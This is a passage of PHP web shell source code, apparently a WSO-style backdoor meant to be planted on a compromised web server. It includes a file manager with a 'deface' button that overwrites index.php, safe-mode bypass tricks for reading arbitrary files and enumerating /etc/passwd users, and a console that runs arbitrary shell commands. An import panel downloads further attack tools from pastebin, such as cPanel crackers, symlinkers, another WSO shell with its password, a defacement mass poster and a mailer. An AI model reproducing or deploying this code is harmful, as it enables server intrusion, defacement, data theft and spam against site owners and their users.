  692. if(is_dir($c.$s)){
  693. mkdir($d.$s);
  694. $h = opendir($c.$s);
  695. while (($f = readdir($h)) !== false)
  696. if (($f != ".") and ($f != "..")) {
  697. copy_paste($c.$s.'/',$f, $d.$s.'/');
  698. }
  699. } elseif(is_file($c.$s)) {
  700. @copy($c.$s, $d.$s);
  701. }
  702. }
  703. foreach($_SESSION['f'] as $f)
  704. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  705. }
  706. unset($_SESSION['f']);
  707. break;
  708. default:
  709. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  710. $_SESSION['act'] = @$_POST['p1'];
  711. $_SESSION['f'] = @$_POST['f'];
  712. foreach($_SESSION['f'] as $k => $f)
  713. $_SESSION['f'][$k] = urldecode($f);
  714. $_SESSION['cwd'] = @$_POST['c'];
  715. }
  716. break;
  717. }
  718. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  719. }
  720.  
  721. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  722. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  723. global $sort;
  724. $sort = array('name', 1);
  725. if(!empty($_POST['p1'])) {
  726. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  727. $sort = array($match[1], (int)$match[2]);
  728. }
  729. echo '<script>
  730. function sa() {
  731. for(i=0;i<document.files.elements.length;i++)
  732. if(document.files.elements[i].type == \'checkbox\')
  733. document.files.elements[i].checked = document.files.elements[0].checked;
  734. }
  735. </script>
  736. <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
  737. <form name=files method=post>';
  738. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  739. $dirs = $files = $links = array();
  740. $n = count($dirContent);
  741. for($i=0;$i<$n;$i++) {
  742. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  743. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  744. $tmp = array('name' => $dirContent[$i],
  745. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  746. 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  747. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  748. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  749. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  750. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  751. );
  752. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  753. $files[] = array_merge($tmp, array('type' => 'file'));
  754. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  755. $links[] = array_merge($tmp, array('type' => 'link'));
  756. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  757. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  758. }
  759. $GLOBALS['sort'] = $sort;
  760. function cmp($a, $b) {
  761. if($GLOBALS['sort'][0] != 'size')
  762. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  763. else
  764. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  765. }
  766. usort($files, "cmp");
  767. usort($dirs, "cmp");
  768. usort($links, "cmp");
  769. $files = array_merge($dirs, $links, $files);
  770. $l = 0;
  771. foreach($files as $f) {
  772. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  773. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  774. $l = $l?0:1;
  775. }
  776. echo '<tr><td colspan=5>
  777. <input type=hidden name=a value=\'FilesMan\'>
  778. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  779. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  780. <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
  781. if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
  782. echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
  783. </form></table></div>';
  784. printFooter();
  785. }
  786.  
  787. function actionStringTools() {
  788. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  789. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  790. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  791. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  792.  
  793. if(isset($_POST['ajax'])) {
  794. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  795. ob_start();
  796. if(function_exists($_POST['p1']))
  797. echo $_POST['p1']($_POST['p2']);
  798. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  799. echo strlen($temp), "\n", $temp;
  800. exit;
  801. }
  802. printHeader();
  803. echo '<h1>String conversions</h1><div class=content>';
  804. $stringTools = array(
  805. 'Base64 encode' => 'base64_encode',
  806. 'Base64 decode' => 'base64_decode',
  807. 'Url encode' => 'urlencode',
  808. 'Url decode' => 'urldecode',
  809. 'Full urlencode' => 'full_urlencode',
  810. 'md5 hash' => 'md5',
  811. 'sha1 hash' => 'sha1',
  812. 'crypt' => 'crypt',
  813. 'CRC32' => 'crc32',
  814. 'ASCII to HEX' => 'ascii2hex',
  815. 'HEX to ASCII' => 'hex2ascii',
  816. 'HEX to DEC' => 'hexdec',
  817. 'HEX to BIN' => 'hex2bin',
  818. 'DEC to HEX' => 'dechex',
  819. 'DEC to BIN' => 'decbin',
  820. 'BIN to HEX' => 'bin2hex',
  821. 'BIN to DEC' => 'bindec',
  822. 'String to lower case' => 'strtolower',
  823. 'String to upper case' => 'strtoupper',
  824. 'Htmlspecialchars' => 'htmlspecialchars',
  825. 'String length' => 'strlen',
  826. );
  827. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  828. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  829. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  830. foreach($stringTools as $k => $v)
  831. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  832. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  833. if(!empty($_POST['p1'])) {
  834. if(function_exists($_POST['p1']))
  835. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  836. }
  837. echo"</pre></div>";
  838. printFooter();
  839. }
  840.  
  841. function actionFilesTools() {
  842. if( isset($_POST['p1']) )
  843. $_POST['p1'] = urldecode($_POST['p1']);
  844. if(@$_POST['p2']=='download') {
  845. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  846. ob_start("ob_gzhandler", 4096);
  847. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  848. if (function_exists("mime_content_type")) {
  849. $type = @mime_content_type($_POST['p1']);
  850. header("Content-Type: ".$type);
  851. }
  852. $fp = @fopen($_POST['p1'], "r");
  853. if($fp) {
  854. while(!@feof($fp))
  855. echo @fread($fp, 1024);
  856. fclose($fp);
  857. }
  858. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  859.  
  860. }
  861. exit;
  862. }
  863. if( @$_POST['p2'] == 'mkfile' ) {
  864. if(!file_exists($_POST['p1'])) {
  865. $fp = @fopen($_POST['p1'], 'w');
  866. if($fp) {
  867. $_POST['p2'] = "edit";
  868. fclose($fp);
  869. }
  870. }
  871. }
  872. printHeader();
  873. echo '<h1>File tools</h1><div class=content>';
  874. if( !file_exists(@$_POST['p1']) ) {
  875. echo 'File not exists';
  876. printFooter();
  877. return;
  878. }
  879. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  880. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  881. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  882. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  883. if( empty($_POST['p2']) )
  884. $_POST['p2'] = 'view';
  885. if( is_file($_POST['p1']) )
  886. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  887. else
  888. $m = array('Chmod', 'Rename', 'Touch');
  889. foreach($m as $v)
  890. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  891. echo '<br><br>';
  892. switch($_POST['p2']) {
  893. case 'view':
  894. echo '<pre class=ml1>';
  895. $fp = @fopen($_POST['p1'], 'r');
  896. if($fp) {
  897. while( !@feof($fp) )
  898. echo htmlspecialchars(@fread($fp, 1024));
  899. @fclose($fp);
  900. }
  901. echo '</pre>';
  902. break;
  903. case 'highlight':
  904. if( is_readable($_POST['p1']) ) {
  905. echo '<div class=ml1 style="background-color: black;color:black;">';
  906. $code = highlight_file($_POST['p1'],true);
  907. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  908. }
  909. break;
  910. case 'chmod':
  911. if( !empty($_POST['p3']) ) {
  912. $perms = 0;
  913. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  914. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  915. if(!@chmod($_POST['p1'], $perms))
  916. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  917. else
  918. die('<script>g(null,null,null,null,"")</script>');
  919. }
  920. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  921. break;
  922. case 'edit':
  923. if( !is_writable($_POST['p1'])) {
  924. echo 'File isn\'t writeable';
  925. break;
  926. }
  927. if( !empty($_POST['p3']) ) {
  928. @file_put_contents($_POST['p1'],$_POST['p3']);
  929. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  930. }
  931. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  932. $fp = @fopen($_POST['p1'], 'r');
  933. if($fp) {
  934. while( !@feof($fp) )
  935. echo htmlspecialchars(@fread($fp, 1024));
  936. @fclose($fp);
  937. }
  938. echo '</textarea><input type=submit value=">>"></form>';
  939. break;
  940. case 'hexdump':
  941. $c = @file_get_contents($_POST['p1']);
  942. $n = 0;
  943. $h = array('00000000<br>','','');
  944. $len = strlen($c);
  945. for ($i=0; $i<$len; ++$i) {
  946. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  947. switch ( ord($c[$i]) ) {
  948. case 0: $h[2] .= ' '; break;
  949. case 9: $h[2] .= ' '; break;
  950. case 10: $h[2] .= ' '; break;
  951. case 13: $h[2] .= ' '; break;
  952. default: $h[2] .= $c[$i]; break;
  953. }
  954. $n++;
  955. if ($n == 32) {
  956. $n = 0;
  957. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  958. $h[1] .= '<br>';
  959. $h[2] .= "\n";
  960. }
  961. }
  962. echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  963. break;
  964. case 'rename':
  965. if( !empty($_POST['p3']) ) {
  966. if(!@rename($_POST['p1'], $_POST['p3']))
  967. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  968. else
  969. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  970. }
  971. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  972. break;
  973. case 'touch':
  974. if( !empty($_POST['p3']) ) {
  975. $time = strtotime($_POST['p3']);
  976. if($time) {
  977. if(@touch($_POST['p1'],$time,$time))
  978. die('<script>g(null,null,null,null,"")</script>');
  979. else {
  980. echo 'Fail!<script>document.mf.p3.value="";</script>';
  981. }
  982. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  983. }
  984. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  985. break;
  986. case 'mkfile':
  987.  
  988. break;
  989. }
  990. echo '</div>';
  991. printFooter();
  992. }
  993.  
  994. function actionSafeMode() {
  995. $temp='';
  996. ob_start();
  997. switch($_POST['p1']) {
  998. case 1:
  999. $temp=@tempnam($test, 'cx');
  1000. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1001. echo @file_get_contents($temp);
  1002. unlink($temp);
  1003. } else
  1004. echo 'Sorry... Can\'t open file';
  1005. break;
  1006. case 2:
  1007. $files = glob($_POST['p2'].'*');
  1008. if( is_array($files) )
  1009. foreach ($files as $filename)
  1010. echo $filename."\n";
  1011. break;
  1012. case 3:
  1013. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1014. curl_exec($ch);
  1015. break;
  1016. case 4:
  1017. ini_restore("safe_mode");
  1018. ini_restore("open_basedir");
  1019. include($_POST['p2']);
  1020. break;
  1021. case 5:
  1022. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1023. $uid = @posix_getpwuid($_POST['p2']);
  1024. if ($uid)
  1025. echo join(':',$uid)."\n";
  1026. }
  1027. break;
  1028. case 6:
  1029. if(!function_exists('imap_open'))break;
  1030. $stream = imap_open($_POST['p2'], "", "");
  1031. if ($stream == FALSE)
  1032. break;
  1033. echo imap_body($stream, 1);
  1034. imap_close($stream);
  1035. break;
  1036. }
  1037. $temp = ob_get_clean();
  1038. printHeader();
  1039. echo '<h1>Safe mode bypass</h1><div class=content>';
  1040. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  1041. if($temp)
  1042. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  1043. echo '</div>';
  1044. printFooter();
  1045. }
  1046.  
  1047. function actionConsole() {
  1048. if(isset($_POST['ajax'])) {
  1049. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1050. ob_start();
  1051. echo "document.cf.cmd.value='';\n";
  1052. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  1053. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1054. if(@chdir($match[1])) {
  1055. $GLOBALS['cwd'] = @getcwd();
  1056. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  1057. }
  1058. }
  1059. echo "document.cf.output.value+='".$temp."';";
  1060. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  1061. $temp = ob_get_clean();
  1062. echo strlen($temp), "\n", $temp;
  1063. exit;
  1064. }
  1065. printHeader();
  1066.  
  1067. echo '<script>
  1068. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1069. var cmds = new Array("");
  1070. var cur = 0;
  1071. function kp(e) {
  1072. var n = (window.Event) ? e.which : e.keyCode;
  1073. if(n == 38) {
  1074. cur--;
  1075. if(cur>=0)
  1076. document.cf.cmd.value = cmds[cur];
  1077. else
  1078. cur++;
  1079. } else if(n == 40) {
  1080. cur++;
  1081. if(cur < cmds.length)
  1082. document.cf.cmd.value = cmds[cur];
  1083. else
  1084. cur--;
  1085. }
  1086. }
  1087. function add(cmd) {
  1088. cmds.pop();
  1089. cmds.push(cmd);
  1090. cmds.push("");
  1091. cur = cmds.length-1;
  1092. }
  1093. </script>';
  1094. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1095. foreach($GLOBALS['aliases'] as $n => $v) {
  1096. if($v == '') {
  1097. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1098. continue;
  1099. }
  1100. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1101. }
  1102. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1103. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1104. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
  1105. if(!empty($_POST['p1'])) {
  1106. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1107. }
  1108. echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
  1109. echo '</form></div><script>document.cf.cmd.focus();</script>';
  1110. printFooter();
  1111. }
  1112.  
  1113. function actionLogout() {
  1114. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1115. echo '<title>Get out Now</title><body bgcolor=#000000><center><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2e/Flag_of_the_Islamic_Courts_Union.svg/500px-Flag_of_the_Islamic_Courts_Union.svg.png"><br>
  1116. <style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
  1117. <span style="color:red;font: 20pt audiowide;">Your Are Successfuly LogOut <br>www.facebook.com/Death5tudent</h2></span></center></body>';
  1118. }
  1119.  
  1120. function actionSelfRemove() {
  1121. printHeader();
  1122. if($_POST['p1'] == 'yes') {
  1123. if(@unlink(SELF_PATH))
  1124. die('Shell has been removed');
  1125. else
  1126. echo 'unlink error!';
  1127. }
  1128. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1129. printFooter();
  1130. }
  1131. ///my editing start here for tools
  1132. function download_remote_file($file_url, $save_to)
  1133. {
  1134. $content = file_get_contents($file_url);
  1135.  
  1136. file_put_contents($save_to, $content);
  1137.  
  1138. }
  1139.  
  1140. if (isset($_POST['SymlinkbySmEVK'])) {
  1141. download_remote_file('http://pastebin.com/raw.php?i=PhSk7Kvq', realpath("./") . '/SymlinkbySmEVK.php');
  1142. header("location:SymlinkbySmEVK.php");
  1143.  
  1144. }
  1145. if (isset($_POST['SymlinkbyCheetah'])) {
  1146. download_remote_file('http://pastebin.com/raw.php?i=JtPRw7aa', realpath("./") . '/SymlinkbyCheetah.php');
  1147. header("location:SymlinkbyCheetah.php");
  1148.  
  1149. }
  1150. if (isset($_POST['SymlinkbyFabiHaxor'])) {
  1151. download_remote_file('http://pastebin.com/raw.php?i=pBf7zzu5', realpath("./") . '/sym.py');
  1152. echo "<script>alert('Script is here /sym.py execute it from there.Type in console (Python sym.py)')</script>";
  1153.  
  1154.  
  1155. }
  1156. if (isset($_POST['CpanelUBH'])) {
  1157. download_remote_file('http://pastebin.com/raw.php?i=74QdAXWR', realpath("./") . '/UBHChack.php');
  1158. header("location:UBHChack.php");
  1159.  
  1160. }
  1161. if (isset($_POST['Dblogin'])) {
  1162. download_remote_file('http://pastebin.com/raw.php?i=Q52G9kjJ', realpath("./") . '/Dblogin.php');
  1163. header("location:Dblogin.php");
  1164.  
  1165. }
  1166. if (isset($_POST['Cpanel3xp3r'])) {
  1167. download_remote_file('http://pastebin.com/raw.php?i=PUz7x57Q', realpath("./") . '/Cpanel3xp3r.php');
  1168. header("location:Cpanel3xp3r.php");
  1169.  
  1170. }
  1171. if (isset($_POST['mini'])) {
  1172. download_remote_file('http://pastebin.com/raw.php?i=2sKLNXgs', realpath("./") . '/mini.php');
  1173. header("location:mini.php");
  1174.  
  1175. }
  1176. if (isset($_POST['ZonehMassPoster'])) {
  1177. download_remote_file('http://pastebin.com/raw.php?i=YF05GQYg', realpath("./") . '/ZonehMassPoster.php');
  1178. header("location:ZonehMassPoster.php");
  1179.  
  1180. }
  1181. if (isset($_POST['sym'])) {
  1182. download_remote_file('http://pastebin.com/raw.php?i=Y9ecBAa0', realpath("./") . '/sym.php');
  1183. header("location:sym.php");
  1184.  
  1185. }
  1186.  
  1187. if (isset($_POST['jump'])) {
  1188. download_remote_file('http://pastebin.com/raw.php?i=TpTzR3Uy', realpath("./") . '/jump.php');
  1189. header("location:jump.php");
  1190.  
  1191. }
  1192.  
  1193. if (isset($_POST['mail'])) {
  1194. download_remote_file('http://pastebin.com/raw.php?i=5zsWVRE1', realpath("./") . '/mail.php');
  1195. header("location:mail.php");
  1196.  
  1197. }
  1198.  
  1199. if (isset($_POST['adminfinder'])) {
  1200. download_remote_file('http://pastebin.com/raw.php?i=iX6kd6pV', realpath("./") . '/adminfinder.php');
  1201. header("location:adminfinder.php");
  1202.  
  1203. }
  1204.  
  1205.  
  1206. if (isset($_POST['wso'])) {
  1207. download_remote_file('http://pastebin.com/raw.php?i=nXaQSEaz', realpath("./") . '/wso.php');
  1208. header("location:wso.php");
  1209.  
  1210. }
  1211.  
  1212. if (isset($_POST['cpFabiHaxor'])) {
  1213. download_remote_file('http://pastebin.com/raw.php?i=inFMs7FW', realpath("./") . '/cpFabiHaxor.php');
  1214. header("location:cpFabiHaxor.php");
  1215.  
  1216. }
  1217.  
  1218.  
  1219. if (isset($_POST['indoxploit'])) {
  1220. download_remote_file('http://pastebin.com/raw.php?i=CQvwdsRQ', realpath("./") . '/indoxploit.php');
  1221. header("location:indoxploit.php");
  1222.  
  1223. }
  1224.  
  1225. if (isset($_POST['scaner'])) {
  1226. download_remote_file('http://pastebin.com/raw.php?i=NLzzEdYW', realpath("./") . '/scaner.php');
  1227. header("location:scaner.php");
  1228.  
  1229. }
  1230.  
  1231.  
  1232.  
  1233.  
  1234.  
  1235.  
  1236.  
  1237.  
  1238.  
  1239. function actionImportScripts() {
  1240. printHeader();
  1241. echo '<table border="1px" align="center" id ="Shelltools" cellpadding="10" border-color"green"><tr><td>Just click and get the Script :).</td><tr><td>
  1242. <form action ="" method="post">
  1243.  
  1244. <input type = "submit" name="cpFabiHaxor" value ="Cpanel Cracker By FabiHaxor</"></a></td></tr>';
  1245. echo '<td><form action ="" method="post"><input type = "submit" name="SymlinkbySmEVK" value ="Symlink Script By SmEVK"></a></td></tr>';
  1246. echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyCheetah" value ="Symlink By Kashmiri Cheetah"></a></td></tr>';
  1247. echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyFabiHaxor" value ="Symlink Python Script By FabiHaxor"></a></td></tr>';
  1248. echo '<tr><td><form action ="" method="post"><input type = "submit" name="CpanelUBH" value ="Cpanel Auto Cracker"></a></td></tr>';
  1249. echo '<tr><td><form action ="" method="post"><input type = "submit" name="Dblogin" value ="Database Login Script"></a></td></tr>';
  1250. echo '<tr><td><form action ="" method="post"><input type = "submit" name="Cpanel3xp3r" value ="3xp3r Cpanel Cracker"></a></td></tr>';
  1251. echo '<tr><td><form action ="" method="post"><input type = "submit" name="mini" value ="Mini Shell"></a></td></tr>';
  1252. echo '<tr><td><form action ="" method="post"><input type = "submit" name="ZonehMassPoster" value ="Zone-h Mass Poster"></a></td></tr>';
  1253. echo '<tr><td><form action ="" method="post"><input type = "submit" name="sym" value ="SYMLINKER BY GRAY BYTE"></a></td></tr>';
  1254. echo '<tr><td><form action ="" method="post"><input type = "submit" name="jump" value ="Jump script"></a></td></tr>';
  1255. echo '<tr><td><form action ="" method="post"><input type = "submit" name="mail" value ="Mailer by leafmailer"></a></td></tr>';
  1256. echo '<tr><td><form action ="" method="post"><input type = "submit" name="adminfinder" value ="Admin Page Finder"></a></td></tr>';
  1257. echo '<tr><td><form action ="" method="post"><input type = "submit" name="wso" value ="Wso Shell Pass:H1s@n"></a></td></tr>';
  1258. echo '<tr><td><form action ="" method="post"><input type = "submit" name="scaner" value ="BackDoor scaner Mini (Shaifullah)"></a></td></tr>';
  1259.  
  1260.  
  1261.  
  1262.  
  1263.  
  1264.  
  1265.  
  1266. printFooter();
  1267. }
  1268.  
  1269.  
  1270. function actionNetwork() {
  1271. printHeader();
